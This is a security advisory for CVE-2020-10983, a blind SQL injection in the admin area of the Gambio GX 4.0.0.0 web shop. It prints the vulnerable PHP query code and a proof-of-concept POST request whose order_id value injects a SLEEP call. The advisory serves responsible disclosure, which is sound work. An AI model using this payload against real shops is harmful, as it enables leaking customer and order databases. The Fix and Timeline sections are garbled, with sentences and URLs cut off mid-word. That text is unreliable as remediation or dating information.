Advisory ID: usd-2020-0034
CVE Number: CVE-2020-10983
Affected Product: Gambio GX
Affected Version: 4.0.0.0
Vulnerability Type: Blind SQL Injection
Security Risk: Medium
Vendor URL: https://www.gambio.de/
Vendor Status: Fixed in 4.0.1.0 (according to vendor)

Description

The web shop application „Gambio GX" contains a blind SQL injection vulnerability in the admin area. The vulnerability allows an authenticated attacker with administrative privileges to leak database contents.

Introduction

The application gambio has a blind SQL injection vulnerability in the admin area. The file */admin/mobile.php* between line 75 and 94 contains the vulnerable code. The POST argument *$order_id* is passed to the application and is concatenated with the SQL query. An attacker could exploit this to manipulate the database query.

```
$sql = "select o.customers_id, o.customers_name, o.customers_company, o.orders_id, o.customers_address_format_id,
o.currency,
 o.customers_street_address, o.customers_city, o.customers_postcode, o.customers_state, o.customers_email_address,
o.customers_telephone,
 o.delivery_name, o.delivery_company, o.delivery_address_format_id, o.delivery_street_address, o.delivery_city, o.
delivery_postcode, o.delivery_state,
 o.delivery_country, o.delivery_country_iso_code_2, o.billing_name, billing_company, o.billing_address_format_id,
o.billing_street_address,
 o.billing_city, o.billing_postcode, o.billing_country, o.billing_country_iso_code_2, date_format( o.date_purchase
d, '%d.%m.%Y %H:%i:%s' ) as order_date,
 date_format( o.last_modified, '%d.%m.%Y %H:%i:%s' ) as modified, st.orders_status_name as order_state,
 (select count(customers_name) from ". TABLE_ORDERS ." as o, ". TABLE_ORDERS_STATUS ." as st where st.orders_statu
s_id = o.orders_status and customers_id = o.customers_id) as amount_orders
 from ". TABLE_ORDERS ." as o, ". TABLE_ORDERS_STATUS . " as st
 where o.orders_id = $order_id and o.orders_status = st.orders_status_id and st.language_id =".$_SESSION['language
s_id'];

$order_data  = xtc_db_query($sql);

$sql2 = "select op.products_model, op.products_name, op.products_price, op.products_tax, op.final_price, op.produc
ts_quantity,
 (select value from ". TABLE_ORDERS_TOTAL ." where class = 'ot_shipping' and orders_id = op.orders_id) as order_sh
ipping,
 (select value from ". TABLE_ORDERS_TOTAL ." where class = 'ot_total' and orders_id = op.orders_id) as order_tota
l,
 (select value from ". TABLE_ORDERS_TOTAL ." where class = 'ot_gv' and orders_id = op.orders_id) as order_discount
 from ". TABLE_ORDERS_PRODUCTS ." as op
 where op.orders_id = $order_id;";

 $order_items = xtc_db_query($sql2);
[...]
```

Proof of Concept (PoC)

The following request can be send to the web application. This request would cause the server to respond after 20 seconds.

```
POST /gambio/admin/mobile.php HTTP/1.1
Host: cvehunt.usd.de
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cvehunt.usd.de/gambio/shop_content.php?coID=4
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Connection: close
Cookie: GXsid_03c93da3fcc6be36=mm752dubuqltg982esddnd3d3f
Upgrade-Insecure-Requests: 1

action=getOrderDetails&lastUpdate=&order_id=1-SLEEP(5)&use_script_version=1.0&data_type=&customer_id=&session_id=
```

Fix

Most instances of SQL injection can b s) instead of string concatenation within the query.

Timeline

- 2020-03-25 Vulnerability Discovered
- 2020-03-26 Initial Contact Request
- 2020-03-26 Advisory submitted to v
- 2020-05-04 Vendor publishes fix in E es/66736
- 2020-05 Vendor publishes 4.0.1.0 ht

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.